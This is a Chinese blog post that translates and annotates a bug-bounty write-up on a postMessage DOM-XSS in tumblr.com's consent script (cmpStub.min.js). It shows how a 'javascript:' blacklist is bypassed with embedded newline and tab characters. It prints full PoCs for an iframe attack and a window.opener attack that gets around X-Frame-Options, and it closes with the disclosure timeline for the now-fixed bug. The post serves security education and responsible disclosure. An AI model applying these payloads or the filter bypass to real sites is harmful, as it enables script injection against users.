原文地址如下:https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/
在19年我写了一篇文章,是基于postMessageXss漏洞的入门教学:https://www.cnblogs.com/piaomiaohongchen/p/14727871.html
这几天浏览mXss技术的时候,看到了一篇postMessaage的分析文章,觉得不错,遂翻译写成文章,每一次好的文章翻译,都是一次很好的学习的机会。生硬的translate,对技术提升没有任何帮助,这里我以第一视角代入翻译此篇文章,加入自己对漏洞的理解。
这篇文章的难点在于对source的构造。
正文内容如下:
在研究期间,我决定查看 tumblr.com 主页,计划是查看它是否处理任何 postMessages。我发现 cmpStub.min.js 文件中有一个有趣的函数,它不检查 postMessage 的来源。在模糊形式下,它如下所示:
var e = !1;
function t(e) {
var t = "string" == typeof e.data
, n \= e.data;
if (t)
try {
n \= JSON.parse(e.data)
} catch (e) {}
if (n && n.\_\_cmpCall) {
var r = n.\_\_cmpCall;
window.\_\_cmp(r.command, r.parameter, function(n, o) {
var a = {
\_\_cmpReturn: {
returnValue: n,
success: o,
callId: r.callId
}
};
e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "\*")
})
}
}
为了方便理解,把代码丢入webstorm,webstorm会有高亮提醒:
通过我的截图标记,我们知道这是个套娃行为,他的可控source点的套娃行为如下:
e.data <- n <- n.\_\_cmpCall <- r <- r.command && r.parameter
如果要本地模式这种套娃行为,那么这种source套娃模拟就是如下:
data= '{"name":"admin","list":{"test1":"test12","test2":"test2"},"age":16}'
// data='123'
var n = JSON.parse(data);
console.log(n.list.test1)
两个逻辑处理分支:
(1)n = JSON.parse(e.data)
(2)window.\_\_cmp(.,.,.xxx
第一个是使用parse函数把我们监听接收的数据从JSON 字符串转换为 JavaScript 对象,说明我们传递的source是个json字符串
source套娃点,会传入__cmp(函数,跟进这个函数:
if (e)
return {
init: function(e) {
if (!l.a.isInitialized())
if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
p.uiUrl || p.organizationId)
if (c.a.isSafeUrl(p.uiUrl)) {
p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
g.setGdpr("S"),
g.setPublisherId(p.organizationId)),
(t \= p.sharedConsentDomain) && r.a.init(t),
s.a.setCookieDomain(p.cookieDomain);
var n = s.a.getGdprApplies();
!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
n || (e = !0),
s.a.setIsUserInEU(e),
e ? (g.setGdpr("L"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : l.a.initializationComplete()
})
} else
c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http\[s\]://example.com/path/to/cmpui.html"');
// (...)
代码臭长臭长的,不要管,只要抓住重点
(1)在javascript中当出现n.x.y或者n.x.y.z说明是套娃+套娃,跟紧咬死source点
(2)寻找潜在风险函数
发现有个if逻辑判断,如果不为真,就else输出报错,那么这里要想办法让条件为真,跟进isSafeUrl函数:
isSafeUrl: function(e) {
return -1 === (e = (e || "").replace(" ",
"")).toLowerCase().indexOf("javascript:")
}
正常我们写代码都是function isSafeUrl(x) 。这是两种不同的写法,效果类似,一种是对象方法定义,一种是直接函数说明。
这段逻辑代码很好理解:如果输入的字符串中不包含"javascript:",函数返回 true;如果包含,返回 false。
这里想返回真,那么我们就不能包含javascript:字符串,他这么做是为了防止xss攻击。做过一些代码审计的朋友应该都知道,使用包含这种黑名单的修复手法,是很危险的,是很容易被绕过的。
那么这里的包含,为后面的利用留下了伏笔。我们继续往下研究,假设我们不包含javascript:字符串,为真了,会触发下面的逻辑处理代码:
通过不断的debug进入逻辑处理函数,发现一个可疑逻辑处理函数
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
跟进b函数:
b = function(e) {
g.markConsentRenderStartTime();
var n = p.uiUrl ? i.a : a.a;
l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
p.consentString \= t,
n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
}) : n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
在这里,将触发真正的sink点:n.renderConsents(p, function(n, t) {,跟进对应函数:
sink:
renderConsents: function(n, p) {
if ((t = n || {}).siteDomain = window.location.origin,
r \= t.uiUrl) {
if (p && u.push(p),
!document.getElementById("cmp-container-id")) {
(i \= document.createElement("div")).id = "cmp-container-id",
i.style.position \= "fixed",
i.style.background \= "rgba(0,0,0,.5)",
i.style.top \= 0,
i.style.right \= 0,
i.style.bottom \= 0,
i.style.left \= 0,
i.style.zIndex \= 1e4,
document.body.appendChild(i),
(a \= document.createElement("iframe")).style.position = "fixed",
a.src \= r,
a.id \= "cmp-ui-iframe",
a.width \= 0,
a.height \= 0,
a.style.display \= "block",
a.style.border \= 0,
i.style.zIndex \= 10001,
l(),
(1)r = t.uiUrl 可控点
(2)a.src = r iframe src加载
通过阅读代码,很明显看出来这是个xss漏洞,我们可以本地模拟下这段攻击代码:
<script type="text/javascript">
a \= document.createElement("iframe");
a.src\="javascript:alert(1)"; //可控点
document.body.appendChild(a);
</script>
因为前面的isSafeUrl函数判断,不允许包含javascript:字符串,包含就会报错不走相关sink函数,那么这里就需要利用下js的小tricks:
a = document.createElement("iframe");
a.src\="\\tjava\\nscr\\nipt:alert(1)"; //可控点
document.body.appendChild(a);
再次刷新:
在js中,src属性支持换行符,制表符等无害脏数据。这样我们就绕过了这个黑名单过滤函数。
对于最后的sink点位,原作者画出如下图:
这里我们需要学习老外的学习思路,漏洞挖掘中可以多画一些脑图,方便你去理解代码和理解业务逻辑。
最终的构造poc如下:
<html\><body\>
<script\>
window.setInterval(function(e) {
try {
window.frames\[0\].postMessage("{\\"\_\_cmpCall\\":{\\"command\\":\\"init\\",\\"parameter\\":{\\"uiUrl\\":\\"ja\\\\nvascript:alert(document.domain)\\",\\"uiCustomParams\\":\\"fdsfds\\",\\"organizationId\\":\\"siabada\\",\\"gdprAppliesGlobally\\":\\"fdfdsfds\\"}}}","\*");
} catch(e) {}
}, 100);
</script\>
<iframe src\="https://consent.cmp.oath.com/tools/demoPage.html"\></iframe\>
难点在于source套娃,容易绕晕。构造的poc,是比较常规的写法。前面已经讲了这个套娃怎么玩了,详见JSON.parse的函数定义。
其实到这里,这篇翻译文章算结束了。下面是扩展项:
只要页面不包含 X-Frame-Options 标题,它就不需要任何额外的用户交互,访问恶意网站就足够了。如果应用程序实现 X-Frame-Options 标头,则此漏洞将不允许攻击者构建目标页面。整个攻击需要在两个浏览器选项卡之间创建连接,以便通过window.opener传递postMessages,这也非常简单:
X-Frame-Options 是什么?
X-Frame-Options 是一个 HTTP 响应头,用于防止点击劫持攻击(clickjacking)。它控制一个网页是否可以在 <iframe\> 中被嵌套,增强了安全性。以下是它的主要选项和含义:
不允许任何网页在 <iframe\> 中嵌套当前页面。
http
复制代码
X-Frame-Options: DENY
SAMEORIGIN:
只允许同源的网页在 <iframe\> 中嵌套当前页面。也就是说,只有与当前页面相同源的网页可以嵌入。
http
复制代码
X-Frame-Options: SAMEORIGIN
因为postMessage xss漏洞需要加载当前网页地址,通过设置X-Frame-Options可以禁止嵌套网页:
那么对于这种情况,原文作者是如何绕过的?
<html\><body\>
<script\>
function e() {
window.setTimeout(function() {
window.location.href\="https://www.tumblr.com/embed/post/";
}, 500);
}
window.setInterval(function(e) {
try {
window.opener.postMessage("{\\"\_\_cmpCall\\":{\\"command\\":\\"init\\",\\"parameter\\":{\\"uiUrl\\":\\"ja\\\\nvascript:alert(document.domain)\\",\\"uiCustomParams\\":\\"fdsfds\\",\\"organizationId\\":\\"siabada\\",\\"gdprAppliesGlobally\\":\\"fdfdsfds\\"}}}","\*");
} catch(e) {}
}, 100);
</script\>
<a onclick\="e()" href\="/tumblr.html" target\=\_blank\>Click me</a\>
这段代码绕过X-Frame-Options的核心概念如下:
攻击者需要在两个不同的浏览器选项卡之间建立连接。
这种连接允许攻击者在打开目标网站的选项卡中通过 window.opener 对象发送 postMessage 消息。
这种方式绕过了浏览器的安全策略,利用了在 window.opener 上发送消息的能力。
综上所述,理解这段话的关键点是:
如果没有正确配置 X-Frame-Options 标头的网页可能会受到攻击,因为其他网站可以在其页面中嵌入目标网页的iframe,从而执行潜在的恶意操作。
正确实现 X-Frame-Options 可以有效防止此类攻击。
攻击者利用两个浏览器选项卡之间的连接,通过 window.opener 发送 postMessage 消息,绕过浏览器的安全机制,执行攻击。
window.opener 将指向打开这个弹出窗口的主窗口
时间线:
07/10/2019 – 发现漏洞并同时向 Verizon Media 和 Tumblr 报告
07/10/2019 – 由 Tumblr 分类和修复
08/10/2019 – 由 Verizon Media 修复
09/10/2019 – Tumblr 奖励我 500 美元的赏金
26/10/2019 – Verizon Media 奖励我 500 美元的赏金
虽然这份报告只有500刀,但是个人学到了很多。好的文章超越了金钱本身。
TRANSLATE with x
English
TRANSLATE with
COPY THE URL BELOW
Back
EMBED THE SNIPPET BELOW IN YOUR SITE
Enable collaborative features and customize widget: Bing Webmaster Portal
Back